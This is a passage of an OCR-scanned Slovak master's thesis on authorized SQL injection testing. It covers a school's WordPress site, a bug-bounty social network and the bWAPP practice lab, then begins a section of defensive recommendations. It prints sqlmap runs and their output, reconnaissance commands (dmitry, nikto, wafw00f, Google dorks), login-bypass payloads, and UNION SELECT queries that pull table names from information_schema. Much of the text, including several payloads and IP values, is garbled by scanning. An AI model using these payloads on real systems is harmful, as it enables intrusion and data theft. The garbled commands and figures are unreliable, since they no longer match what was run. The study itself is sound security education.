rozne variacie tohto spdsobu, ale ani raz nebolo prihlasenie na uzivatel'sky ucet uspesné.
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Po niekolkych prepisovaniach odkazu a dlhého hl'adania, ktoré neviedlo takmer
k ziadnym informéciam bolo realizované prihlasenie pod uzivatel'skym menom, kt. mi
bolo spristupnené organizaciou za ucelom zbierania informacii. Vdaka d’alSej analyze

stranky priSiel napad skusit’ ziskat' administratorské ID a upravit' odkaz nasledovne:
https://SubjektB.sk /wp-login.php?id=

Obr. 46:Upraveny odkaz s ucelom hl’adania ID (vlastné).

Ked bol tento novo upraveny odkaz zadany do vyhl'adavaca, tak boli najdené nejaké 4
ID. Néasledne prostrednictvom sqlmap bude otestované, ¢i tieto ziskané informacie buda

nejak prospesné pri utoku.

sarah@kali: /

:/$ sqlmap -u https://subjektA. sk/wp-login.php?id=13'++6

1= " http://sqlmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting
[ ] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('wordpress_t
est_cookie=WP+Cookie+check'). Do you want to use those [Y/n] I

Obr. 47: Testovanie pripojenia na zvolena URL s ID administritora zadanym vo vstupe (vlastné).

Ako je vidiet na obr. 44, tak v tomto jednom pripade bezpecnostné rieSenie WordPressu

nezastavilo utok priamo. Je to z toho dovodu, ze sa odkaz podarilo upravit' do formatu
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v akom by bol keby sa administrator s tymto ID prihlasoval normalne. AvSak tuto ¢ast
ma WordPress oSetrent tak, ze chce nastavit' svoje vlastné cookie. Zrovna v tomto
pripade by sa mozno dalo dostat’ prostrednictvom prikazu alebo programu d’alej, ale toto
prihlasovanie spada pod samotny WordPress a nie pod stranku Skoly, ktorda mi dala
povolenie na testovanie, takze tymto spdsobom bohuzial v testovani nie je mozné

pokracovat’ z pravneho hladiska.

sarah@kali: /

:/$ sqlmap -u https://SubjektA.s¥VK

http://sqlmap.or

P[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is

illegal. It is the end user's responsibility to obey all applicable local, state and feder
al laws. De "~ ility and are not responsible for any misuse or damage ca
used by thi

[*] starting

[ ] [INFO] testing connection to the target URL

[ 2] [INFO] checking if the target is protected by some kind of WAF/IPS

[01:32:52] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/
IPS

Obr. 48: Testovanie pripojenia na zvolenii URL s neupravenym odkazom webovej stranky (vlastné).

Vramci vSetkych nasledujucich prikazov, ktoré boli vyskuSané bola odpoved
prostrednictvom sqlmap nasledovna. Stalo v nej, ze je webova aplikacia chranena
nejakym druhom WAF/IPS, Co je vlastne bezpecnostné rieSenie, ktoré chrani spojenie

medzi klientom a serverom. Monitoruje prenos z a na webovu aplikaciu.
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3.2.3 Testovanie Subjektu C
V tejto kapitole bude testovana webova aplikacia, ktora v spolupraci s hackerone vypisala
odmenu za hl'adanie bezpecnostnych bugov. Na toto testovanie som obdrzala pozvanku,

ktora mi dava pravomoc niekolko dni atoc€it na ich webovu aplikaciu za i¢elom hl'adania

Blind SQL.i.
Pri Subjekte C v ramci zbierania informacii boli pouzité nasledovné metody :

e Google Hacking
e Dokumentécia z Github stranok
e Nasledovné skenovacie nastroje:
o WAFWOOF
o sqlmap

o nikto

o

sqlmap

Pred zaciatkom vyhladavania bola nastavena vpn v prikazovom riadku Kali Linux.
Nainstalovana bola podl'a navodu, kt. je na strankach nordvpn a na pripojenie boli pouzité

tieto prikazy: ,,nordvpn login“ po zadani prihlasovacich udajov nasledoval prikaz :

,,nodvpn connect.

Obr. 49: Pripojenie na nordvpn (vlastné).

Prostrednictvom Google hackingu boli vyhl'adavané nejaké uzito¢né odkazy, ktoré by
mohli poskytnut informacie o bezpecnostnych dierach, zdrojovy kod, ktory pouziva
stranka. Na obrazkoch nizSie je niekol’ko uprav odkazu podla, kt. boli hl'adané

bezpecnostné diery a na zaklade kt. sa aj podarilo zozbierat' par informacii.

SubjektC. com '

Obr. 50: Upraveny odkaz na vyhPadadvanie ID 1 (vlastné).
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Q. site:https://  SubjektC.com/sign_in?id=]

Obr. 51: Upraveny odkaz na vyhPadavanie ID 2 (vlastné).

site: https:/f SubjektC.com/sign_in/php?id=

Obr. 52: Upraveny odkaz na vyhPadavanie ID 3 (vlastné).

Subjekt C Search (Extened Edition) - Source code

Text = { 'donation_appeal': '<p> SubjektC Search is provided as free ... 'display: none;
position: absolute; overflow: hidden; z-index: 1000; outline: Opx none ... id="ui-dialog-title-' +
id + " unselectable="on" style="-moz-user-select: none;">' + ... ‘gasapp_url"
*https://script.google.com/macros/s/ ... getBio(), ‘websites": ¥ ¥ ¥ %

Obr. 53: Odkaz na zdrojovy kod stranky (vlastné).

Seeking: Nobody. Website: https:// SubjektCjusers/45% % %

. https:// SubjektC.com/result.php?id=s%x%58. Comments 590 ...
Obr. 54: Odkaz obsahujici ID dvoch uzivatel’ov (vlastné). I

_https://SubjektC.com/uUsSers/12 sk x%x*
https:// SubjektC.com/USErs/93' k%%

Obr. 55: Odkazy obsahujice ID uzivatePov (vlastné).

Zbieranie informacii prostrednictvom metddy Google hacking poskytlo tieto informacie:

zdrojovy kod stranky, ID Styroch uzivatelov webovej stranky.

V d’alSom kroku bolo overované pomocou nastroja WAFWOOF ¢i je webova aplikacia

chranend nejakym druhom WAF/IPS. Spominany nastroj je sucastou prostredia Kali
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Linux. Na obrazku 51 je do prikazového riadku zadané wafwOOf na spustenie tohto

nastroja a pripisany odkaz cielenej webovej stranky.

The Web Application Firewall Fingerprinting Toolkit

] Checking https://-SubjektC.com /users/sign_in
] Generic Detection results:
] The site https://SubjektC.com /users/sign_in seems to be behind a WAF or some sort of security solution
] Reason: The response was different when the request wasn't made from a browser.
rmal response code is "200", while the response code to a modified request is "403"
] Number of requests: &
~$

Obr. 56: Wafw00f zisC'uje, ¢i webova aplikacia nie je chranena vlastnim firewallom (vlastné).

Skenovaci nastroj na obr. 51 na zaklade analyzy kédu odpovede, o je za normalnych
okolnosti ,,200° urcil, ze webova aplikacie je chranena nejakym druhom firewallu pretoze

koéd modifikovanej odpovede je ,,403.

Informacii bolo zozbieranych na utok dostatok a z toho dovodu bol pouzity nastroj
sqlmap. Bola pouzitd URL s ID néjdena prostrednictvom Google, zadany prikaz vypadal
v tomto tvare: sqlmap — u ,,(skopirovana URL, kt. obsahuje ID)*

] [INFO] testing connection to the target URL
] [CRITICAL] page not found (404)
it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n]

24] [INFO] testing if the target URL content is stable
] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matc
o dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page compari

ant to proceed? [(C)onunuel(s)tnng](r)egex/(q)ln.t] c

testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause’
[INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[INFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
IN 'PostgresQL AND error-based - WHERE or HAVING clause'
‘Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
*Oracle AND error-based - WHERE or HAVING clause (XMLType)'
'MySQL 2 5.0 error-based - Parameter replace (FLOOR)
*Generic inline queries'
*PostgresQL > 8.1 stacked queries (comment)’
*Microsoft SQL Server/Sybase stacked queries (comment)
*Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)
[INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
[INFO] testing 'PostgreSQL > 8.1 AND time-based blind
NFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)"

[INFO] testing 'Oracle AND time-based blind'
lecm“ﬂﬂd to Pﬁrfﬂm ﬂﬂ‘y basic UNION tests if there is not at least one other (Pﬂleﬂll!‘) le:h“lq“! found. Do you want to re

Obr. 57: Kontrola vstupnych parametrov(vlastné).
Je to jeden z najjednoduchsich prikazov, kt. sa pouziva v sqlmap, prostrednictvom tohto

prikazu boli kontrolované vstupné parametre, aby sa zistilo, i nie si nachylné na SQL.i.
Funguje to tak, ze sa odosielaji rozne druhy uzitoCnych dat ohl'adom vstrekovania
a kontroluje sa vystup. V ramci tohto procesu je niekedy mozné identifikovat vzdialeny
OS systém, nazov databaze a verziu. Pocas testovania zvoleného subjektu nebolo mozné

tieto informacie zistit, sqlmap podal informaciu o tom, ze strdnka nebola néjdena,
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prebehla kontrola stability obsahu URL, kt. bola nasledne vyhodnotena ako nestabilna.
Boli otestované jednotlivé parametre, kt. sqlmap vyhodnotila tak, ze nenasla ziaden
zranitelny. Dalej bolo doporugené urobit’ zakladné UNION testy a po vykonani vietkych
testov sqlmap vypisal hlasku z obr. 58, kde vSetky otestované parametre vyhodnotil ako

pravdepodobne nezraniteI'né na SQLi.

[11:13:44] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '—level'/'—risk' options if you wish to perform mo
re tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '-—tamper' (e.g. '-—tamper=s

pace2comment') and/or switch '--random-agent'

Obr. 58: Hlaska od sqlmap ohl’adom parametrov (16)

V dalsich krokoch boli vyskusané vSetky doporucené prikazy, kt. boli vo formate aky bol
ukéazany na zaciatku testovania tohto subjektu v sqlmap, len pri prikazoch level, thread
apod sa to musela urCit hodnota a napisat prikaz v tvare : sqlmap -u (URL) --
level=(Ciselna hodnota napr. 5). vykazovali podobné vysledky z kt. neslo dostat’ moc
uzito¢nych informacii na pomoc pri realizacii SQLi. Na zaklade toho bolo rozhodnuté
a d’alSom zbierani informéacii prostrednictvom nastroja nikto, predtym vsak je potrebné
zistit' IP cielenej webovej aplikacie. Lokalizacia IP adresy bola zistena prostrednictvom
nasledujuceho prikazu zadaného do prikazového riadka v Kali Linux.
:~$ dmitry -1iSubjektC.com

Deepmagic Information Gathering Tool
"There be some deep magic going on"

HostIP: ¥*% ., Wik | whke | dok
HostName : www . SubjektC.com

Gathered Inet-whois information for #*%% , %%% , %% , %%k

Obr. 59:Prikaz na lokalizovanie IP (vlastné)

Vo vysledku je host IP adresa z dovodu anonymizicie tohto udaju cenzurovana
hviezdiCkami. Zistena adresa bola pouzita ako vstupny parameter do prikazu v nastroji

nikto.

. $ nikto -=h e .**;.***.**_P 20

Obr. 60: Prikaz v ndstroji nikto na vyhl’addvanie informacii (vlastné).
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Ziskavanie IP adresy a nasledné spustanie nastroja nikto bolo naraz vykonavané na 2
zariadeniach a to z toho dovodu, ze na jednom bola zapnuta vpn a druhom bola vidiet
moja skutoc¢na IP adresa, kt. v tej dobe bola pridana do whitelistu. Do nastroja bola zadana
host IP adresa a skenovanie portu 80. Nikto presiel vySe 7000 poloziek a ako vystup bolo
nieco okolo 2000 poloziek vratane komentara. Niektoré z tychto udajov neposkytovali
ziadnu uzito¢nu informaciu, avSak po prejdeni vSetkych sa podarilo nieco, ¢o by mohlo

byt pri utoku prospesné najst’. po

] [WARNING] potential CAPTCHA protection mechanism detected
you have not du red cookie(s), while server wants to set its own ('_f1_sessionid=b9282081d27 ... 3cbaekea68;language=en'). Do you want to use those [Y/n] y

[INFO] testing if the target URL content is stable
] ] GET parameter 'id' does not appear to be dynamic
] ] heuristic (basic) test shows that GET parameter 'id' might not be injectable
] testing for SQL injection on GET parameter 'id’
110 ] testing 'AND boolean-based blind - WHERE or HAVING clause'
] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE x NG clause' injectable
] [InFO] heuristic (extended t shows that the back-end DBMS could be ‘ ?
t looks like the back-end DBMS is [ 9¢

[
[
[
[
[
[
[
i

Obr. 61: Z testu vySiel back-end DBMS (vlastné).

NG] false positive or unexploitable injection point detected
[WARNING] GET parameter 'id' does not seem to be injectable

] parameter 'User-Agent' does not appear to be dynamic
] heuristic (basic) test shows that parameter 'User-Agent' might not be injectable

Obr. 62: Falosne najdena SQLi zranitel'nost’ (vlastné).

Na zaklade detailnejSieho testovania bol pozitivny vysledok na slepu SQLi vyvrateny. Po
uprave vstupov v prikaze s cestou k administratorskej zlozke, kt. bola najdend skrz
nastroj nikto boli vykonané prikazy ,,--crawl= 5,6“ , --level =5, -- data, --schema, --risk,..
Prostrednictvom tychto prikazov bola zo zariadenia, kt. bolo na white liste

v administratorskej zlozke najdena URL prostrednictvom ktorej sa vymazava ucet.

Vo vystupe z nikto bolo niekol’ko vel'mi uzito¢nych informécii, kt. uz nebolo mozné

otestovat lebo niekedy pri zaciatku d’alSieho testovania skoncilo povolenie.
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3.2.4 Testovanie Subjektu D

Subjekt D je webova aplikacia, ktora bola vyvinuta na precvi¢ovanie si SQLi metod
v sulade so zakonom. Aplikacia je nainStalovani do VB vel'mi podobnym spdsobom, ako
prebiehala insStalacia Linuxu, pred nastavovanim samotnej aplikdcie je potrebné
v prikazovom riadku bee si skontrolovat nastavenia siete prostrednictvom prikazu

ifconfig.

Ble Edt Vew Jermina Tahs Hebp

bee@bee-box:~$ ifconfig

eths Link encap:Ethernet Mwaddr 08:08:27:2b:04:4¢
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.8
inet6 addr: feBB::apd:27ff:fe2b:44e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:l
RX packets:11 errors:0 dropped:8 overruns:@ frame:8
TX packets:70 errors:0 dropped:® overruns:@ carrier:@
collisions:@ txqueuelen:1000
RX bytes:5367 (5.2 KB) TX bytes:9147 (8.9 K8)
Base address:0xd020 Memory:11200808-11220088

lo Link encap:Local Loopback
inet addr:127.9.6.1 Mask:295.0.8.8
ineté addr: ::1/128 Scope:Host
UP LODPBACK RUNMING MTU:16436 Metric:1
RX packets:414 errors:® dropped:8 overruns:® frame:®
X packets:414 errors:8 dropped:8 overruns:® carrier:®
collisions:0 txqueuelen:@
Ol bytes:692217 (675.9 KB) TX bytes:692217 (675.9 KB)

Obr. 63: Prikaz ipconfig (vlastné).

Nez zapocne samotné testovanie, tak je potrebné v menu aplikdcie nastavit’ Uroven

bezpecnosti a zranitel'nost na aku sa chce utocnik pri hackovani zameriavat’.

@ Choose your bug:

bWAPP v15 -
Set your security level:
an extremely buggy web application | - Conment o

Change Password Create User Set Security Level Reset Credits Blog

/ Portal /

bWAPP or a buggy web application is build to allow security enthusiasts, students and developers to better secure

BC

web applications. bWAPP prepares you to conduct successful penetration testing and ethical hacking projects
bWAPP contains all vulnerabilities from the OWASP Top 10 project. Itis for educational purposes only

o

Which bua do vouwant fo hack foday? )

bWAPP v15 -
/A1 - Injection /
HTML Injection - Reflected (GET)
HTML Injection - Reflected (POST)
HTML Injection - Reflected (Current URL)
HTML Ijection - Stored (Blog)
SQL Injection (Search)
SQL Injection (Select)
SQL Injection (Login) -

Hack

bWAPP or a buggy web appication is £or educational purposes only / © 20 MME BVBA Al rights reserved

Obr. 64: bPWAPP menu (24).
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Enter your credentials

Login
[blah' or 1=1--

Password

L Login.J

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for

the right syntax to use near " at line 1

Na ziskavanie informacii o uzivatel'skom formulare boli do vstupu vkladané zakladné

SQLi operétori :
= 'or'a'="a

= 'gr'a'='g"--
= 'or'1'="1
* 'orl=1-
Obr. 65: Zikladné SQLi operatori (24).
Po zadavani jednotlivych operatorov v pripadoch kedy nebolo mozné sa skrz nich dostat’
do uzivatel'ského uctu, tak server poskytoval chybné spravy, kt. obsahovali uzitocné
informacie. Do uctu sa podarilo dostat’, ked’” namiesto loginu boli dosadené tieto operatori

or '1'="1 alebo ' or 'a'='a. V pripade kedy SQL dotaz bol injektovany to vypadalo

nasledovne:
SELECT * FROM table WHERE username="' or 'a'="a’ AND password=‘bug’

Obr. 66: Prikaz na vstrekovanie uzivatel’a (vlastné).
Za predpokladu, Ze nie je uzivatel'ské meno zname ale vlastné alebo na zaklade logu so

zlymi pokusmi o prihlasenie ziskané heslo zadame do vstupu, tak je mozné sa bez

problémov prihlasit’.

localhost/bWAPP/BWAPP/sgl_1.php?title=1" union select 1,2,3,4,5.6 -- -

Obr. 67: Uprava odkazu za pomoci union select (vlastné).
Na zaklade jednotlivych chybnych hlasok bol odkaz upraveny do tvaru, kt. je vidiet na

obr. 65, tato Uprava mala uspesné vysledky a spristupnila tabul'ku, kt. je vidiet’ na obr.
66.
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Title Release Character Genre IMDb

Link

Obr. 68: Tabulka, kt. vySla ako vystup na ziklade zvoleného union select (vlastné)

Odkaz, kt. ukazal tabulku zo systému bol skopirovany do poznamkového bloku, kde

vypadal tak ako je ho vidiet na obr. 67.

http://localhost/bWAPP/bWAPP/sqli_1.php?title=1%27%20union %20select%201,2,3,4,5,6--%20-

Obr. 69: Skopirovany odkaz, kde bol pouzity select union (vlastné).

Na zaklade vystupu z tabulky obr. 66, kde charakter =5 bol prepisany odkaz do

nasledujuceho tvaru:
localhost/bWAPP/bW APP/sql_1.php?title=1" union select 1,2,3,4,database(),6 -- -

Server na to reagoval tak, ze poskytol z databazy informaciu o polozke, kt. mala hodnotu
bwapp. Takymto sposobom boli z databazy vybrané aj nazvy tabuliek (table_name)

dosadenym namiesto Cisla 5 a dopisanim do odkazu: from information_schema.tables--.

Title Release Character Genre IMDb
Link

Link

Link

MN : Link
MN_PR - Link
Link

Link

Link

Link

Link

Link

Link

Obr. 70: Vystup z table_name (vlastné).
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localhost/bWAPP/BWAPP/sql_1.php?title= 1" union select 1.2.3.4.group_concat(table_name).6 from information_schema.tables--

Obr. 71: Odkaz rozsireny o group_concat (vlastné).
Title Release Character Genre IMDb

use ) Link

Obr. 72: Vystup na ziklade odkazu z obr. 68 (vlastné).

/ SQL Injection - Blind - Boolean-Based /

Search for a movie: test’ or length(database())=5%# Search

The movie does not exist in our database!

Obr. 73: Blind boolean SQLi (vlastné).

Po zadani vstupu ako je to zobrazené na obr. 70 poslal server spat informacna hlasku
o tom, ze film sa nachadza v databaze. Informacie kt. boli ziskané v rdmci upravovania
odkazu pre testovaci Subjekt D by bolo mozné ziskat' aj prostrednictvom sqlmap, ako
tomu bolo ukazané pri testovani Subjektu A a z toho dévodu sem tento typ postupu nebol
dolozeny druhy raz. Pre predstavu toho aky by bol vystup z databazy bWAPP a tabul'ky

users je dolozena tabulka z sqlmap na obr. 72.

[9 columns]

activated tinyint(1l)
activation_code varchar(100)
admin tinyint(1)

email varchar(100)
id int(10)
login varchar(100)
password varchar(100)
reset_code varchar(100)
varchar(100)

Obr. 74: Tabul’ka users (vlastné).
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3.3 Zhodnotenie testovania zvolenych webou

Tato Cast’ diplomovej prace sa venuje zhodnoteniu vysledkov jednotlivych testovacich

subjektov.

3.3.1 Subjekt A

Ako prvy subjekt v ramci testovania SQLi metdd bola zranitelna webova aplikacia
patriaca spolo¢nosti Acunetix. Tento web ma ucelne vytvorené slabiny aby si na nom
eticky hackeri mohli zadarmo vyskuSat’ nastavenia svojich nastrojov, niektoré SQL1

metody, pripadne prikazy.

Na tejto stranke boli mnou uskuto¢nené tieto metody vyhladavania informacii:

. prieskum aplikécie z uzivatel'ského uctu,
. prieskum aplikécie prostrednictvom Google Hackingu,
. prieskum testovacieho subjektu prostrednictvom sqlmap.

Vzhl'adom k tomu, Ze je to stranka urCend na testovanie, tak prostrednictvom Google
vyhladavaca bolo mozné najst odkaz aj s ID uzivatel'a vel'mi rychlo, ¢o pri skutocnych

webovych strankach nie je az tak jednoduché.

Ziskany odkaz bol pouzity do prikazu v sqlmap, vdaka ¢omu bola najdena databaza.
V d’'alSom kroku bolo spustené testovanie, ktoré mi malo pomoct najst zranitelnosti.
N4jdena zranitelnost bola voc¢i Blind SQLi — testovanie odozvy v odpovedi, ktora
v ramci mesacnej Statistiky na najcastejSie realizované SQLi metody bola vyhodnotena
ako 1. a predstavovala 42% z analyzovanych utokov. Nasledne bol uspesne realizovany
utok s cielom ziskat uzivatel'ské meno a heslo. Prostrednictvom jednotlivych prikazov
bol mozny pristup k niz§im vrstvam databézy, az z nej nakoniec bolo ziskané uzivatel'ské

meno a heslo, ¢o sa overilo prostrednictvom prihlasenia sa na uzivatel'sky ucet.
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3.3.2 Subjekt B

Zakladna skola, Subjekt B ma svoje webové stranky vytvorené vo WordPresse, takze ak
je vynechana tato Cast bezpecnosti, kde by mali byt preskoleni zamestnanci, Studenti
a podobne, tak sa o zabezpeCenie a ochranu informacii webovych stranok stara
WordPress. PoCas testovania sa po analyze stranok, informacii z Googlu nebolo mozné
prostrednictvom sqlmap dostat’ v ramci databazy Skoly v podstate nikam. Bohuzial
nebolo mozné sa dostat’ ani po krok, kde by bolo realizované pripojenia sa na databazu
prostrednictvom nastroja. Sqlmap sprostredkovala informaciu o tom, ze WordPress
webovu aplikaciu chrani nejakym druhom WAF/IPS, toto bezpecnostné riesenie bolo
schopné odrazit’ vSetky moje ttoky prostrednictvom sqlmap. Na strankach WordPress je
pisané, ze tento Firewall na ochranu webovej aplikacie obsahuju vsetky verzie WordPress

od verzie 4.6 a vyssie.

3.3.3 Subjekt C

Webova aplikacia Subjektu C je webova stranka, kt. spada pod socialne siete. Cielom
testovania bolo hl'adat’ potencialnu zranite'nost’ typu Blind SQLI. Pocas testovania boli
vyrazne zatazené utoky na uzivatel'sky vstup skrz Captcha. Napriek niekolkym zistenym
uzivateI'skym ID tito informaciu neslo vyuzit’ na vstup do uctu. Neskor bol skuiSany utok
na tieto ucty prostrednictvom sqlmap, kde proti realizacii tohto utoku sa realizovala W AF,
Captcha, autentizacny token. Po obrovskom mnozstve réznych uprav Utoku bolo jasné,
Zze ma tato webova aplikacia oSetreny vstup zo strany serveru aj klienta. Na zaklade
detailného skenovania odkazu skrz sqlmap so zameranim na ID klienta a vyhodnoteni
vystupov z tohto nastroja boli urobené zavery, ze v tejto oblasti nie je mozné realizovat
ziadnu SQLi. Vzhl'adom k tomu, ze ma server nezablokoval uplne a mala som moznost
aspon skusat’ rozne prikazy aj ked’ vysledky z nich nepoukazovali na nijaka SQLi chybu.
Po prihliadnuti na vysSie zmienené bolo usudené, ze je potrebné sa vratit zberbe
informacii aby bol akykol'vek pokus o utok asponi potencionalne realizovatelny.
K tomuto ucelu bol zvoleny nastroj nikto, kt. je podl'a recenzii a mojich doterajSich
skusenosti vyborny na tento zamer. Pred jeho pouzitim bolo kl'icové zistit’ HostIP, kt.
bola zistena prostrednictvom prikazu dmitry -1 www.SubjektC.com, zistena IP adresa sa
skopirovala do nastroja nasledovne: nikto -h (vlozena IP) -p 80. Skenovanie s nikto bolo
zachytené nejakym skenerom webovej aplikacie, napriek tomu sa nastroju podarilo prejst

okolo7000 poloziek a aspori ¢iastocne vyhodnotit okolo 2000. Vd'aka tymto informaciam
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bolo mozné za pomoci sqlmap aspori lustrovat’ v databaze po informaciach. Zial k tomuto
kroku som sa dostala az par hodin pred skonfenim povolenia na testovanie, takze
s urCitostou viem prehlasit’ len to, ze Blind SQLi mierené na uzivatela nie je mozné
vykonat' na tuto webovu aplikaciu. Ci by pri pokradovani testovania za pomoci novo
ziskanych informéacii bolo mozné sa dostat’ k akymkol'vek citlivym datam z databazy
urcit’ nie je mozné, ale podla doterajSich vystupov zo skenera to nasved¢ovalo tomu, ze
to nie je mozné alebo je to mozné velmi tazko pri dlh§ej dobe skuSania o prenik do
databazy. Ale v ramci toho Co bolo plne otestované je pozitivne, ze vstup uzivatel'a je

vyborne zabezpeceny, i uz zo strany klienta alebo servera.

3.3.4 Subjekt D

Webova aplikacia bWAPP je ur€ena na ucenie sa/skuiSanie/ testovanie jednotlivych SQLi
metod. Aplikacia bola hostovana na VB v prostredi Windows 10. V testovacom subjekte
boli vyskusané zakladné operatori ato ako na nich reaguje uzivatel'sky formular,
v pripade zlého prihlasenie to aké informacie poskytuje server. Sice v analytickej Casti
tato aplikacia bola zhodnotena ako dobra na testovanie jednotlivych SQLi metod, ¢o
v podstate je, ale ponuka skusanie tychto metdd len na zakladnej Grovni. Trochu ma
sklamalo ako fungovala z mojej vlastnej skusenosti v prostredi Windows 10, kde mi
prisla, Ze neponuka moznost testovania tychto metdd na trovni, kt. by bola aspori blizko
k zabugovanej aplikacii v redlnom prostredi. Prostrednictvom testovania som si aj
overila, ze recenzie kt. davali informaciu o tom, ze tato aplikacia nefunguje Gplne ako ma
vo VB a ovplyviiuje celu funkciu systému vo VB, takze ani Linux, kt. je jeho sucast'ou
nefunguje uplne ako by mal. Verzia kt. by bola dodatocne stiahnutd, nainstalovana v Kali
Linuxe by najskor fungovala lepSie apre niekoho kto si chce vyskuSat zakladné
testovanie vacsej Skaly zranitel'nosti, nez st len tie kt. s zamerané na SQLi tuto aplikaciu

bude schopny docenit’ viac nez ja.
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3.3.5 Suahrn hodnotenia testovacich subjektov

V ramci tejto prace bolo realizované testovanie na Styroch testovacich subjektoch za
ucelom otestovania dvoch normalne fungujucich webovych stranok a zaroveini bolo
cielom ukazat’ SQL1 metody v praxi, kde sa ich realizovanie niekedy podari dotiahnut’ do
uspesného konca a pri vel'mi dobre zabezpeCenych strankach je vel'mi pravdepodobné,
ze sa pokus o realizaciu takejto metody nepodari. Subjekt A bola slabo zabezpecena
webova aplikacia v ramci Google hackingu bolo pri zbierani informacii o tejto stranke
uspesne vyuzitych niekol'ko logickych operatorov(AND or +) a rozSirenych operatorov
(site:). Prostrednictvom sqlmap bola uspesne najdena blind SQLi zranitel'nost’ zalozena
na casovej odozve. Prostrednictvom blind SQli metody bolo z databazy ziskané
uzivatel'ské meno aj s heslom. Aplikacia nemala ziaden WAF a ani nemala zabezpeceny
uzivatel'sky vstup ¢i uz zo strany klienta alebo serveru. Ak by to bola skutocna a nie
testovana stranka, tak by mala za sebou slusny incident skrz Unik citlivych dat. Subjekt B
bola webova aplikacia na platforme WordPress a patrila zakladnej Skole, pri tomto
testovacom subjekte bola tiez na zbieranie dat aplikovana metoda Google hacking, vd’aka
c¢omu bolo nakoniec zistené administratorské ID. Pri sqlmap skene sa nebolo mozné bez
ID dostat’ uplne nikam pretoze pokus o skenovanie bolo bezpeCnostnym rieSenim na
platforme WordPress zarazené hned v zarodku. Bez ohl'adu na sposoby a pocet pokusov
bol vzdy vysledok rovnaky. Prostrednictvom sqlmap bol vykonany aj pokus o sken pri
zadani dobre sformulovaného odkazu s ID, WAF sqlmap nezarazil uplne ale aplikacia si
chcela zadeklarovat’ vlastné Cookie, pravdepodobne by som sa tu bola schopna niekam
dostat’, ale moje povolenie na detailné testovanie stranky nezahrialo aj administratorské
ucty apreto som vtomto kroku bola natena skoncit. Riziko moznosti naburania
administratorského u¢tu moze ohrozit bezpecnost celej aplikacie a preto by som
spravcovi stranky odporucila prejst’ kapitolu 3.4.4.2 a3.4.4.3, nasledne aplikovat
odporucania na svoj uCet administratora. To, ze sa mi vobec podarilo najst ID
prostrednictvom nastavenia odkazu na zaklade toho, ze viem ako si automaticky
generované niektoré nazvy v databaze (vlastnim WordPress ucet) sved¢i o tom, ze niekto
si zabudol premenovat’ kI'i¢ové subory. Z toho dovodu odporucam premenovanie suboru
wp-login.php. Vzhl'adom k nainstalovanym bezpecnostnym pluginom a chraniacemu
WAF si nemyslim, Ze je to az tak vazny problém, priemerny hacker by toho nevyuzil

urcite, ale preCo dobrovol'ne znizovat’ bezpecnost ak to ide jednoducho vyriesit’.
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3.4 Odporucenie bezpecnostnych opatreni
Tato Cast mojej diplomovej prace je venovand navrhu bezpeCnostnych opatreni proti
jednotlivym SQLi metdédam, ktoré boli tUspesne realizované vramci testovania

jednotlivych subjektov.

3.4.1 Ciel bezpecnostnych opatreni

V tejto cCasti je dolezité si urcit uCel tychto bezpecnostnych opatreni. Databazy
jednotlivych webovych aplikacii uchovavaju obrovské kvantum dat. Tieto data z vacsej
Casti obsahuju vel'mi citlivé osobné udaje, preto je dolezité urobit’ maximum pri ochrane
integrity, dovernosti a dostupnosti tychto dat. Na webové aplikacie sa cielené utoky za
ucelom ziskania osobnych dat, ich poskodenia, neopravnenému prepisu a podobne

zlomysel'nych ¢inov voci datam v zacielenej databaze.

Cielom odporucenia bezpecnostnych opatreni je posilnenie ochrany dat a informéacii
proti SQL injection metdodam, ktoré boli uspesne realizované na jednotlivé webové

aplikacie pocCas testovania.

3.4.2 Vystupy
Na zaklade odporucenia bezpecnostnych opatreni by zodpovedné osoby za informacnu
bezpecnost’ jednotlivych webovych aplikacii mali byt schopny eliminovat’ jednotlivé

najdené zranitelnosti vo¢i SQLi metodam utoku.

3.4.3 Prinosy

Hlavnou myslienkou tychto odporu€eni je pomoc pri zvySeni ochrany jednotlivych
webovych aplikacii voci SQLi utokom. V dneSnej dobe by sa malo k informacnej
bezpeCnosti pristupovat’ ozaj zodpovedne, ked sa len vezme do uvahy pomer aky
v Statistike najCastejSich SQLi utokov z kapitoly 2.3.2. zastupovali eticky hackeri
v pomere s tymi neetickymi, tak je to naozaj alarmujuce. Ak by také mnozstvo neetickych
hackerov zautocilo na zle zabezpecenu webovu aplikaciu, tak vzhl'adom k tomu, Ze by
podl'a GDPR mala zodpovedna osoba tieto informacie chranit’ a byt za ne zodpovedna,

tak by z to malo za nasledok slu§nu katastrofu pre informacnt bezpecnost'.
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3.4.4 Odporucenie bezpecnostnych opatreni proti SQLi

Tato kapitola sa zameriava na odporucCenia bezpecnostnych opatreni na ochranu proti
SQL1 utokom. Prva Cast’ je venovana obrane proti vSetkym SQLi ttokom. Druha cast’ je
venovana platforme WordPress na obranu proti SQLi a tretia sa zameriava na obranu
administratorského uctu pred utokom na jeho zariadenie/ e-mail a prostrednictvom toho

ziskania plného pristupu k databaze uto¢nikom.

3.44.1 Vseobecné odporucania bezpecnostnych opatreni proti SQLi pre ochranu
databazy

